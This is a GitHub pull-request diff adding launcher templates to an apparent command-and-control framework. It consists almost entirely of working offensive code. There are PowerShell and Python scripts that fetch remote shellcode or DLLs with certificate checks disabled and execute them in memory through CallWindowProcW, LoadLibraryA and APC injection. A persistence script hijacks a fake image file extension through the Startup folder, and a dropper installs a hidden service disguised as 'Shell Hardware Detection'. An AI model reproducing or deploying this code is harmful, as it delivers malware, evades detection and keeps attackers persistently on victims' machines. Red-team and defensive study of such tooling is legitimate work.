Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
47 changes: 47 additions & 0 deletions plugins/client/default/launchers/CallWindowProcW_launcher.ps1
Original file line number Diff line number Diff line change
@@ -0,0 +1,47 @@
[System.Net.ServicePointManager]::ServerCertificateValidationCallback = { $true }

$url = "%%url%%"

$webClient = New-Object System.Net.WebClient
$schcd = $webClient.DownloadData($url)

Add-Type -MemberDefinition @"
[DllImport("kernel32.dll", SetLastError = true)]
public static extern IntPtr VirtualAlloc(IntPtr lpAddress, UIntPtr dwSize, uint flAllocationType, uint flProtect);

[DllImport("kernel32.dll", SetLastError = true)]
public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);

[DllImport("user32.dll", SetLastError = true, EntryPoint = "CallWindowProcW")]
public static extern IntPtr CallWindowProcW(IntPtr lpPrevWndFunc, IntPtr hWnd, uint Msg, IntPtr wParam, IntPtr lParam);
"@ -Namespace Win32 -Name NativeMethods

$MEM_COMMIT = 0x1000
$MEM_RESERVE = 0x2000
$PAGE_READWRITE = 0x04
$PAGE_EXECUTE_READ = 0x20

$sizeofschcd = $schcd.Length

if ([IntPtr]::Size -eq 4) {
$sizePtr = [UIntPtr]::new([uint32]$sizeofschcd)
} else {
$sizePtr = [UIntPtr]::new([uint64]$sizeofschcd)
}

$pschcdAddress = [Win32.NativeMethods]::VirtualAlloc([IntPtr]::Zero, $sizePtr, $MEM_COMMIT -bor $MEM_RESERVE, $PAGE_READWRITE)

[System.Runtime.InteropServices.Marshal]::Copy($schcd, 0, $pschcdAddress, $sizeofschcd)

$dwOldProtection = 0
$protectResult = [Win32.NativeMethods]::VirtualProtect($pschcdAddress, $sizePtr, $PAGE_EXECUTE_READ, [ref]$dwOldProtection)
if (-not $protectResult) {
return -1
}

$hwnd = [IntPtr]::Zero
$msg = 0
$wParam = [IntPtr]::Zero
$lParam = [IntPtr]::Zero

$result = [Win32.NativeMethods]::CallWindowProcW($pschcdAddress, $hwnd, $msg, $wParam, $lParam)
32 changes: 32 additions & 0 deletions plugins/client/default/launchers/LoadLibA_dll_launcher_template.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,32 @@
import os
import tempfile
import urllib.request
import ssl
import ctypes
import threading

ssl_context = ssl._create_unverified_context()
temporary_directory_path = tempfile.mkdtemp()
dll_file_path = os.path.join(temporary_directory_path, "%%filename%%.dll")

download_url = "%%url%%"
with urllib.request.urlopen(download_url, context=ssl_context) as response:
with open(dll_file_path, "wb") as output_file:
output_file.write(response.read())

kernel32_dll = ctypes.windll.kernel32

kernel32_dll.LoadLibraryA.argtypes = [ctypes.c_char_p]
kernel32_dll.LoadLibraryA.restype = ctypes.c_void_p

dll_file_path_bytes = dll_file_path.encode("mbcs")

library_handle = kernel32_dll.LoadLibraryA(dll_file_path_bytes)

if library_handle == 0 or library_handle is None:
print("GetLastError:", kernel32_dll.GetLastError())
else:
print("Library loaded successfully")

threading.Event().wait()

71 changes: 70 additions & 1 deletion plugins/client/default/launchers/default.examples.yml
Original file line number Diff line number Diff line change
Expand Up @@ -125,4 +125,73 @@ launchers:
path: "template.remote_APC_inj.py"
args:
- name: url
- name: isHTTPS
- name: isHTTPS
# run shellcode using CallWindowProcW in powershell
- name: "(PS) Download and Execute CallWindowProcW"
match:
type: ["SHELLCODE"]
arch: ["x64", "x86"]
platform: ["windows"]
type: file
path: "CallWindowProcW_launcher.ps1"
args:
- name: url
- name: isHTTPS
# persist via new file extension and startup folder
- name: "(PS) Persist via new file extension and startup folder"
match:
type: ["EXECUTABLE", "DEBUG_EXECUTABLE"]
arch: ["x64", "x86"]
platform: ["windows"]
type: file
path: "file_ext_persist.ps1"
args:
- name: url
- name: isHTTPS
- name: randomBinName
jsFile: lib/arg.randomBinName.js
- name: filename
jsFn: |
const payloadType = payload.configuration.type;
const fileExtension = payloadsStore().extensionMap.get(payloadType);
`${argumentsPluginInterface['randomBinName']}.${fileExtension}`; // Using previously parsed argument via argumentsPluginInterface
- name: filename2
jsFn: |
const payloadType = payload.configuration.type;
`${argumentsPluginInterface['randomBinName']}`;
# LoadLibraryA DLL injection in python
- name: "LoadLibraryA python"
match:
type: ["DLL"]
arch: ["x64", "x86"]
platform: ["windows"]
type: file
path: "LoadLib_dll_launcher.py"
args:
- name: url
- name: isHTTPS
- name: randomBinName
jsFile: lib/arg.randomBinName.js
- name: filename
jsFn: |
const payloadType = payload.configuration.type;
const fileExtension = payloadsStore().extensionMap.get(payloadType);
`${argumentsPluginInterface['randomBinName']}`;
# Python script as windows service launcher (runs shellcode payload via self APC injection). Elevated persistance
- name: "Python service shellcode APC (elevated persistance)"
match:
type: ["SHELLCODE"]
arch: ["x64", "x86"]
platform: ["windows"]
type: file
path: "python_service_shellcode_template.py"
args:
- name: url
- name: isHTTPS
- name: randomBinName
jsFile: lib/arg.randomBinName.js
- name: filename
jsFn: |
const payloadType = payload.configuration.type;
const fileExtension = payloadsStore().extensionMap.get(payloadType);
`${argumentsPluginInterface['randomBinName']}`;
35 changes: 35 additions & 0 deletions plugins/client/default/launchers/file_ext_persist.ps1
Original file line number Diff line number Diff line change
@@ -0,0 +1,35 @@
[System.Net.ServicePointManager]::ServerCertificateValidationCallback = { $true }

$downloadUrl = '%%url%%'
$tempFolder = $env:TEMP
$exeFileName = '%%filename%%'
$exePath = Join-Path -Path $tempFolder -ChildPath $exeFileName

(New-Object System.Net.WebClient).DownloadFile($downloadUrl, $exePath)

$letters = [char[]]([char]'a'..[char]'z') | Where-Object { $_ -ne 'g' }
$randomLetter = $letters | Get-Random
$extension = ".jp$randomLetter"

$progId = '%%filename2%%'

$regPathOpenCommand = "HKCU:\Software\Classes\$progId\shell\open\command"
New-Item -Path $regPathOpenCommand -Force | Out-Null
Set-ItemProperty -Path $regPathOpenCommand -Name '(Default)' -Value "`"$exePath`" `"%1`"" -Type String

$regPathDefaultIcon = "HKCU:\Software\Classes\$progId\DefaultIcon"
New-Item -Path $regPathDefaultIcon -Force | Out-Null
Set-ItemProperty -Path $regPathDefaultIcon -Name '(Default)' -Value '"C:\Windows\System32\imageres.dll",-72' -Type String

$regPathExtension = "HKCU:\Software\Classes\$extension"
New-Item -Path $regPathExtension -Force | Out-Null
Set-ItemProperty -Path $regPathExtension -Name '(Default)' -Value $progId -Type String

$startupFolder = "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup"
$triggerFileName = "%%filename2%%$extension"
$triggerFilePath = Join-Path -Path $startupFolder -ChildPath $triggerFileName

Copy-Item -Path 'C:\Windows\Web\Screen\img102.jpg' -Destination $triggerFilePath -Force

Start-Process -FilePath $exePath

157 changes: 157 additions & 0 deletions plugins/client/default/launchers/python_service_shellcode_template.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,157 @@
import os, sys, subprocess

PROGRAMDATA = os.environ.get('PROGRAMDATA', r'C:\\ProgramData')
INSTALL_DIR = os.path.join(PROGRAMDATA, 'Microsoft', 'Windows')
CHILD_PATH = os.path.join(INSTALL_DIR, '%%filename%%.py')
os.makedirs(INSTALL_DIR, exist_ok=True)

payload = (
"import ctypes\n"
"from ctypes import wintypes as w\n"
"import time, threading, ssl, urllib.request, sys, os, subprocess\n"
"SERVICE_NAME = \"%%filename%%\"\n"
"SERVICE_WIN32_OWN_PROCESS = 0x00000010\n"
"SERVICE_ACCEPT_STOP = 0x00000001\n"
"SERVICE_CONTROL_STOP = 0x00000001\n"
"SERVICE_START_PENDING = 0x00000002\n"
"SERVICE_RUNNING = 0x00000004\n"
"SERVICE_STOP_PENDING = 0x00000003\n"
"SERVICE_STOPPED = 0x00000001\n"
"NO_ERROR = 0\n"
"MEM_COMMIT = 0x1000\n"
"MEM_RESERVE = 0x2000\n"
"PAGE_EXECUTE_READWRITE = 0x40\n"
"THREAD_ALL_ACCESS = 0x1F03FF\n"
"class SERVICE_STATUS(ctypes.Structure):\n"
" _fields_ = [ (\"dwServiceType\", w.DWORD), (\"dwCurrentState\", w.DWORD), (\"dwControlsAccepted\", w.DWORD), (\"dwWin32ExitCode\", w.DWORD), (\"dwServiceSpecificExitCode\", w.DWORD), (\"dwCheckPoint\", w.DWORD), (\"dwWaitHint\", w.DWORD),]\n"
"class SERVICE_TABLE_ENTRY(ctypes.Structure):\n"
" _fields_ = [ (\"lpServiceName\", w.LPWSTR), (\"lpServiceProc\", ctypes.WINFUNCTYPE(None, w.DWORD, ctypes.POINTER(w.LPWSTR))), ]\n"
"advapi32 = ctypes.WinDLL('advapi32', use_last_error=True)\n"
"kernel32 = ctypes.WinDLL('kernel32', use_last_error=True)\n"
"ntdll = ctypes.WinDLL('ntdll', use_last_error=True)\n"
"RegisterServiceCtrlHandlerW = advapi32.RegisterServiceCtrlHandlerW\n"
"RegisterServiceCtrlHandlerW.argtypes = [w.LPCWSTR, ctypes.WINFUNCTYPE(None, w.DWORD)]\n"
"RegisterServiceCtrlHandlerW.restype = w.HANDLE\n"
"SetServiceStatus = advapi32.SetServiceStatus\n"
"SetServiceStatus.argtypes = [w.HANDLE, ctypes.POINTER(SERVICE_STATUS)]\n"
"SetServiceStatus.restype = w.BOOL\n"
"StartServiceCtrlDispatcherW = advapi32.StartServiceCtrlDispatcherW\n"
"StartServiceCtrlDispatcherW.argtypes = [ctypes.POINTER(SERVICE_TABLE_ENTRY)]\n"
"StartServiceCtrlDispatcherW.restype = w.BOOL\n"
"kernel32.VirtualAlloc.argtypes = [ctypes.c_void_p, ctypes.c_size_t, w.DWORD, w.DWORD]\n"
"kernel32.VirtualAlloc.restype = ctypes.c_void_p\n"
"ntdll.RtlMoveMemory.argtypes = [ctypes.c_void_p, ctypes.c_void_p, ctypes.c_size_t]\n"
"ntdll.RtlMoveMemory.restype = None\n"
"kernel32.OpenThread.argtypes = [w.DWORD, w.BOOL, w.DWORD]\n"
"kernel32.OpenThread.restype = w.HANDLE\n"
"kernel32.QueueUserAPC.argtypes = [ctypes.c_void_p, w.HANDLE, ctypes.c_void_p]\n"
"kernel32.QueueUserAPC.restype = w.DWORD\n"
"kernel32.CloseHandle.argtypes = [w.HANDLE]\n"
"kernel32.CloseHandle.restype = w.BOOL\n"
"kernel32.SleepEx.argtypes = [w.DWORD, w.BOOL]\n"
"kernel32.SleepEx.restype = w.DWORD\n"
"stopped_event = threading.Event()\n"
"status_handle = None\n"
"status = SERVICE_STATUS()\n"
"def control_handler(dwControl):\n"
" global status_handle, status\n"
" if dwControl == SERVICE_CONTROL_STOP:\n"
" stopped_event.set()\n"
" status.dwCurrentState = SERVICE_STOP_PENDING\n"
" SetServiceStatus(status_handle, ctypes.byref(status))\n"
"def service_main(dwArgc, lpszArgv):\n"
" global status_handle, status\n"
" handler = ctypes.WINFUNCTYPE(None, w.DWORD)(control_handler)\n"
" status_handle = RegisterServiceCtrlHandlerW(SERVICE_NAME, handler)\n"
" if not status_handle:\n"
" return\n"
" status.dwServiceType = SERVICE_WIN32_OWN_PROCESS\n"
" status.dwCurrentState = SERVICE_START_PENDING\n"
" status.dwControlsAccepted = 0\n"
" status.dwWin32ExitCode = NO_ERROR\n"
" status.dwServiceSpecificExitCode = 0\n"
" status.dwCheckPoint = 0\n"
" status.dwWaitHint = 0\n"
" SetServiceStatus(status_handle, ctypes.byref(status))\n"
" try:\n"
" try:\n"
" ULONG_PTR = w.ULONG_PTR\n"
" except AttributeError:\n"
" ULONG_PTR = ctypes.c_uint64 if ctypes.sizeof(ctypes.c_void_p) == 8 else ctypes.c_uint32\n"
" kernel32.QueueUserAPC.argtypes = [ctypes.c_void_p, w.HANDLE, ULONG_PTR]\n"
" ssl_context = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT)\n"
" ssl_context.check_hostname = False\n"
" ssl_context.verify_mode = ssl.CERT_NONE\n"
" url = \"%%url%%\"\n"
" with urllib.request.urlopen(url, context=ssl_context) as response:\n"
" shellcode = response.read()\n"
" if not shellcode:\n"
" raise ValueError(\"Empty shellcode\")\n"
" shellcode_size = len(shellcode)\n"
" ptr = kernel32.VirtualAlloc(None, shellcode_size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE)\n"
" if not ptr:\n"
" raise MemoryError(\"VirtualAlloc failed\")\n"
" shellcode_buff = ctypes.create_string_buffer(shellcode)\n"
" ntdll.RtlMoveMemory(ctypes.c_void_p(ptr), shellcode_buff, shellcode_size)\n"
" def sleeper():\n"
" kernel32.SleepEx(0xFFFFFFFF, True)\n"
" t = threading.Thread(target=sleeper, daemon=True)\n"
" t.start()\n"
" time.sleep(0.5)\n"
" thread_handle = kernel32.OpenThread(THREAD_ALL_ACCESS, False, t.ident)\n"
" if not thread_handle:\n"
" raise OSError(\"OpenThread failed\")\n"
" result = kernel32.QueueUserAPC(ctypes.c_void_p(ptr), thread_handle, ULONG_PTR(0))\n"
" if result == 0:\n"
" raise OSError(f\"QueueUserAPC failed: {ctypes.get_last_error()}\")\n"
" kernel32.CloseHandle(thread_handle)\n"
" except Exception as e:\n"
" status.dwCurrentState = SERVICE_STOPPED\n"
" status.dwWin32ExitCode = 1\n"
" SetServiceStatus(status_handle, ctypes.byref(status))\n"
" return\n"
" status.dwCurrentState = SERVICE_RUNNING\n"
" status.dwControlsAccepted = SERVICE_ACCEPT_STOP\n"
" SetServiceStatus(status_handle, ctypes.byref(status))\n"
" while not stopped_event.is_set():\n"
" stopped_event.wait(1)\n"
" status.dwCurrentState = SERVICE_STOP_PENDING\n"
" SetServiceStatus(status_handle, ctypes.byref(status))\n"
" status.dwCurrentState = SERVICE_STOPPED\n"
" SetServiceStatus(status_handle, ctypes.byref(status))\n"
"if __name__ == \"__main__\":\n"
" SERVICE_PROC_TYPE = ctypes.WINFUNCTYPE(None, w.DWORD, ctypes.POINTER(w.LPWSTR))\n"
" service_proc = SERVICE_PROC_TYPE(service_main)\n"
" null_proc = ctypes.cast(0, SERVICE_PROC_TYPE)\n"
" table = (SERVICE_TABLE_ENTRY * 2)()\n"
" table[0].lpServiceName = SERVICE_NAME\n"
" table[0].lpServiceProc = service_proc\n"
" table[1].lpServiceName = None\n"
" table[1].lpServiceProc = null_proc\n"
" if StartServiceCtrlDispatcherW(table):\n"
" pass\n"
" else:\n"
" err = ctypes.get_last_error()\n"
" if err == 1063:\n"
" try:\n"
" subprocess.call(['sc', 'stop', SERVICE_NAME], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)\n"
" subprocess.call(['sc', 'delete', SERVICE_NAME], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)\n"
" bin_path = f'\"{sys.executable}\" \"{os.path.abspath(__file__)}\"'\n"
" subprocess.check_call(['sc', 'create', SERVICE_NAME, 'binPath=', bin_path, 'type=', 'own', 'start=', 'auto', 'DisplayName=', 'Shell Hardware Detection'])\n"
" subprocess.call(['sc', 'description', SERVICE_NAME, 'Provides notifications for AutoPlay hardware events.'], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)\n"
" subprocess.check_call(['sc', 'start', SERVICE_NAME])\n"
" except Exception as e:\n"
" pass\n"
" else:\n"
" pass\n"
).replace('\r\n', '\n')

with open(CHILD_PATH, "w", encoding="utf-8", newline="\n") as f:
f.write(payload)

si = subprocess.STARTUPINFO()
si.dwFlags |= subprocess.STARTF_USESHOWWINDOW
si.wShowWindow = subprocess.SW_HIDE
subprocess.Popen([sys.executable, CHILD_PATH], startupinfo=si, cwd=INSTALL_DIR)
sys.exit(0)